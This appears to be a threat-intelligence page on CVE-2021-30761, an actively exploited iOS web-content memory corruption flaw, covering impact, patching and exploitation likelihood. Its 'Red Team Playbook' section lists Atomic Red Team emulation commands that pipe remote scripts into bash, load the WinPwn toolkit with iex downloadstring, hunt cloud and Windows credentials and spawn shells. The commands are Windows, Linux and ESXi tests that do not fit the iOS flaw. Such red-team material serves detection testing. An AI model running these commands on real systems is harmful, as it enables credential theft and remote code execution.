CVE-2021-30761
Overview
This vulnerability is a memory corruption flaw caused by improper state management within the web content processing component of Apple iOS. Specifically, the issue arises from unsafe handling of crafted web content that leads to out-of-bounds memory access or buffer overflow conditions. The affected component is the web content rendering engine in iOS versions prior to 12.5.4, which fails to correctly manage internal memory states during content parsing and execution.
Vulnerability Description
A memory corruption issue was addressed with improved state management. This issue is fixed in iOS 12.5.4. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited..
Impact
An attacker can execute arbitrary code with system privileges by convincing a user to view malicious web content, enabling full compromise of the affected device. This requires no authentication but does require user interaction to load the crafted web page. Successful exploitation can lead to unauthorized data access, installation of persistent malware, and full device control, resulting in significant privacy and security breaches for users and organizations relying on the affected iOS devices.
Solution
Apple addressed this vulnerability in iOS version 12.5.4 by improving state management in the web content processing engine. Users and administrators are advised to update affected devices to iOS 12.5.4 or later. Detailed patch information and update instructions are available in the Apple security advisory at https://support.apple.com/en-us/HT212548. No alternative workarounds are provided by Apple for this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to a memory corruption issue within the iOS operating system, specifically affecting devices running versions prior to 12.5.4. Memory corruption vulnerabilities occur when a program inadvertently modifies memory that it should not access, leading to unpredictable behavior. In this case, the flaw was linked to improper state management when processing web content. This could allow an attacker to manipulate memory in such a way that arbitrary code execution becomes possible, potentially granting them control over the affected device.
Exploitation of this vulnerability primarily occurs through maliciously crafted web content. Attackers could host a website designed to trigger the memory corruption when visited by a user on an unpatched device. This exploitation scenario is particularly concerning as it requires minimal interaction from the user, often only necessitating that they navigate to the compromised site. Once the device processes the malicious content, the attacker could execute arbitrary code, leading to unauthorized access, data theft, or the installation of additional malware. The potential for such exploitation underscores the critical need for users to maintain updated software on their devices.
The real-world impact of this vulnerability is significant, especially considering the potential for active exploitation. If an attacker successfully executes arbitrary code, they could gain access to sensitive information stored on the device, including personal data, credentials, and financial information. For businesses, the implications are even more severe. Compromised devices could serve as entry points into corporate networks, leading to data breaches, loss of intellectual property, and reputational damage. The financial repercussions of such incidents can be substantial, with costs associated with remediation, legal liabilities, and loss of customer trust.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize regular updates and patch management for all devices running the affected operating system. Implementing a robust security policy that mandates timely software updates can significantly reduce exposure to known vulnerabilities. Additionally, employing web filtering solutions can help block access to known malicious sites, further reducing the risk of exploitation. User education is also crucial; training employees to recognize phishing attempts and avoid suspicious links can help mitigate the risk of inadvertently triggering such vulnerabilities.
In conclusion, the memory corruption issue within the iOS operating system presents a serious threat to both individual users and organizations. The potential for arbitrary code execution through malicious web content highlights the importance of maintaining up-to-date software and implementing comprehensive security measures. By understanding the nature of this vulnerability and adopting proactive detection and mitigation strategies, organizations can better protect themselves against the risks posed by such exploits.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) for CVE-2021-30761, reflecting a growing likelihood of exploitation attempts. Although no new exploit techniques or ransomware affiliations have been detected, the upward trend in EPSS indicates heightened attacker interest or improved exploit reliability. This shift underscores an elevated risk posture for organizations relying on vulnerable iOS versions, as the probability of successful arbitrary code execution via malicious web content becomes more pronounced. Defenders should interpret this as a signal that threat actors may be intensifying reconnaissance or preparatory activities, even in the absence of confirmed widespread exploitation campaigns, thereby warranting sustained vigilance.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-30761 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212548 |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-30761 |